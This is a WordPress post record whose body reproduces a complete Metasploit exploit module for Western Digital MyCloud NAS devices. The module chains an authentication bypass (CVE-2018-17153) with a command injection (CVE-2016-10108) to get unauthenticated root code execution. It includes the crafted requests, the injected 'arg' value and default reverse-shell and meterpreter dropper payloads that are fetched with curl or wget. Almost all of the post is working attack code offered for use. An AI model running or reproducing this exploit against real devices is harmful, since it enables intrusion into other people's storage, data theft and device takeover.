{"id":45829,"date":"2023-07-28T18:15:02","date_gmt":"2023-07-28T14:15:02","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/173802\/wd_mycloud_unauthenticated_cmd_injection.rb.txt"},"modified":"2023-07-28T23:34:05","modified_gmt":"2023-07-28T19:04:05","slug":"western-digital-mycloud-unauthenticated-command-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/western-digital-mycloud-unauthenticated-command-injection\/","title":{"rendered":"Western Digital MyCloud Unauthenticated Command Injection"},"content":{"rendered":"<p>##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>\nRank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>\ninclude Msf::Exploit::CmdStager<br \/>\nprepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;Western Digital MyCloud unauthenticated command injection&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nThis module exploits authentication bypass (CVE-2018-17153) and<br \/>\ncommand injection (CVE-2016-10108) vulnerabilities in Western<br \/>\nDigital MyCloud before 2.30.196 in order to achieve<br \/>\nunauthenticated remote code execution as the root user.<\/p>\n<p>The module first performs a check to see if the target is<br \/>\nWD MyCloud. If so, it attempts to trigger an authentication<br \/>\nbypass (CVE-2018-17153) via a crafted GET request to<br \/>\n\/cgi-bin\/network_mgr.cgi. If the server responds as expected,<br \/>\nthe module assesses the vulnerability status by attempting to<br \/>\nexploit a commend injection vulnerability (CVE-2016-10108) in<br \/>\norder to print a random string via the echo command. This is<br \/>\ndone via a crafted POST request to \/web\/google_analytics.php.<\/p>\n<p>If the server is vulnerable, the same command injection vector<br \/>\nis leveraged to execute the payload.<\/p>\n<p>This module has been successfully tested against Western Digital<br \/>\nMyCloud version 2.30.183.<\/p>\n<p>Note: based on the available disclosures, it seems that the<br \/>\ncommand injection vector (CVE-2016-10108) might be exploitable<br \/>\nwithout the authentication bypass (CVE-2018-17153) on versions<br \/>\nbefore 2.21.126. The obtained results on 2.30.183 imply that<br \/>\nthe patch for CVE-2016-10108 did not actually remove the command<br \/>\ninjection vector, but only prevented unauthenticated access to it.<br \/>\n},<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;Erik Wynter&#8217;, # @wyntererik &#8211; Metasploit<br \/>\n&#8216;Steven Campbell&#8217;, # CVE-2016-10108 disclosure and PoC<br \/>\n&#8216;Remco Vermeulen&#8217; # CVE-2018-17153 disclosure and PoC<br \/>\n],<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[&#8216;CVE&#8217;, &#8216;2016-10108&#8217;], # command injection in \/web\/google_analytics.php via a modified arg parameter in the POST data.<br \/>\n[&#8216;CVE&#8217;, &#8216;2018-17153&#8217;], # authentication bypass<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/www.securify.nl\/advisory\/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges\/&#8217;], # CVE-2018-17153 disclosure and PoC<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/web.archive.org\/web\/20170315123948\/https:\/\/www.stevencampbell.info\/2016\/12\/command-injection-in-western-digital-mycloud-nas\/&#8217;] # CVE-2016-10108 disclosure and PoC<br \/>\n],<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;RPORT&#8217; =&gt; 443,<br \/>\n&#8216;SSL&#8217; =&gt; true<br \/>\n},<br \/>\n&#8216;Platform&#8217; =&gt; %w[linux unix],<br \/>\n&#8216;Arch&#8217; =&gt; [ ARCH_ARMLE, ARCH_CMD ],<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[<br \/>\n&#8216;Unix In-Memory&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; [ &#8216;unix&#8217;, &#8216;linux&#8217; ],<br \/>\n&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; { &#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/unix\/reverse_bash&#8217; },<br \/>\n&#8216;Type&#8217; =&gt; :unix_memory<br \/>\n}<br \/>\n],<br \/>\n[<br \/>\n&#8216;Linux Dropper&#8217;, {<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_ARMLE],<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;linux&#8217;,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;linux\/armle\/meterpreter\/reverse_tcp&#8217;,<br \/>\n&#8216;CMDSTAGER::FLAVOR&#8217; =&gt; :curl<br \/>\n},<br \/>\n&#8216;Type&#8217; =&gt; :linux_dropper<br \/>\n}<br \/>\n]\n],<br \/>\n&#8216;CmdStagerFlavor&#8217; =&gt; [&#8216;curl&#8217;, &#8216;wget&#8217;],<br \/>\n&#8216;Privileged&#8217; =&gt; true,<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2016-12-14&#8217;, # CVE-2016-10108 disclosure date<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [ CRASH_SAFE ],<br \/>\n&#8216;SideEffects&#8217; =&gt; [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],<br \/>\n&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION ]\n}<br \/>\n)<br \/>\n)<\/p>\n<p>register_options([<br \/>\nOptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The base path to WD MyCloud&#8217;, &#8216;\/&#8217;]),<br \/>\n])<br \/>\nend<\/p>\n<p>def check<br \/>\n# sanity check to see if the target is likely WD MyCloud<br \/>\nres = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path)<br \/>\n})<\/p>\n<p>return CheckCode::Unknown(&#8216;Connection failed.&#8217;) unless res<\/p>\n<p>return CheckCode::Safe(&#8216;Target is not a WD MyCloud application.&#8217;) unless res.code == 200 &amp;&amp; res.body.include?(&#8216;var MODEL_ID = &#8220;WDMyCloud&#8217;)<\/p>\n<p>print_status(&#8220;#{rhost}:#{rport} &#8211; The target is WD MyCloud. Checking vulnerability status&#8230;&#8221;)<br \/>\n# try the authentication bypass (CVE-2018-17153)<br \/>\nres = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;cgi-bin&#8217;, &#8216;network_mgr.cgi&#8217;),<br \/>\n&#8216;vars_get&#8217; =&gt; {<br \/>\n&#8216;cmd&#8217; =&gt; &#8216;cgi_get_ipv6&#8217;,<br \/>\n&#8216;flag&#8217; =&gt; 1 # this cannot be randomized according to the CVE-2018-17153 details<br \/>\n}<br \/>\n})<\/p>\n<p>return CheckCode::Unknown(&#8216;Connection failed while attempting to trigger the authentication bypass.&#8217;) unless res<\/p>\n<p>return CheckCode::Unknown(&#8220;Received unexpected response code #{res.code} while attempting to trigger the authentication bypass.&#8221;) unless res.code == 404<\/p>\n<p># send a command to print a random string via echo. if the target is vulnerable, both the command and the command output will be part of the response body<br \/>\necho_cmd = &#8220;echo #{Rex::Text.rand_text_alphanumeric(8..42)}&#8221;<br \/>\nprint_status(&#8220;#{rhost}:#{rport} &#8211; Attempting to execute #{echo_cmd}&#8230;&#8221;)<br \/>\nres = execute_command(echo_cmd, { &#8216;wait_for_response&#8217; =&gt; true })<\/p>\n<p>return CheckCode::Unknown(&#8216;Connection failed while trying to execute the echo command to check the vulnerability status.&#8217;) unless res<\/p>\n<p>return CheckCode::Vulnerable(&#8216;The target executed the echo command.&#8217;) if res.code == 200 &amp;&amp; res.body.include?(echo_cmd) &amp;&amp; res.body.include?(&#8216;&#8221;success&#8221;:true&#8217;)<\/p>\n<p>CheckCode::Safe(&#8216;The target failed to execute the echo command.&#8217;)<br \/>\nend<\/p>\n<p>def execute_command(cmd, opts = {})<br \/>\nrequest_hash = {<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;web&#8217;, &#8216;google_analytics.php&#8217;),<br \/>\n&#8216;cookie&#8217; =&gt; &#8216;username=admin&#8217;,<br \/>\n&#8216;vars_post&#8217; =&gt; {<br \/>\n&#8216;cmd&#8217; =&gt; &#8216;set&#8217;,<br \/>\n&#8216;opt&#8217; =&gt; &#8216;cloud-device-num&#8217;,<br \/>\n&#8216;arg&#8217; =&gt; &#8220;0|echo `#{cmd}` #&#8221;<br \/>\n}<br \/>\n}<\/p>\n<p>return send_request_cgi(request_hash) if opts[&#8216;wait_for_response&#8217;]\n<p># if we are trying to execute the payload, we can just yeet it at the server and return without waiting for a response<br \/>\nsend_request_cgi(request_hash, 0)<br \/>\nend<\/p>\n<p>def exploit<br \/>\nif target.arch.first == ARCH_CMD<br \/>\nprint_status(&#8220;#{rhost}:#{rport} &#8211; Executing the payload. This may take a few seconds&#8230;&#8221;)<br \/>\nexecute_command(payload.encoded)<br \/>\nelse<br \/>\nexecute_cmdstager(background: true)<br \/>\nend<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, &#8216;Name&#8217; =&gt; &#8216;Western Digital MyCloud unauthenticated command injection&#8217;, &#8216;Description&#8217; =&gt; %q{ This module exploits authentication bypass (CVE-2018-17153) and command injection (CVE-2016-10108) vulnerabilities in &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-45829","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45829","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=45829"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45829\/revisions"}],"predecessor-version":[{"id":45854,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45829\/revisions\/45854"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=45829"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=45829"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=45829"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}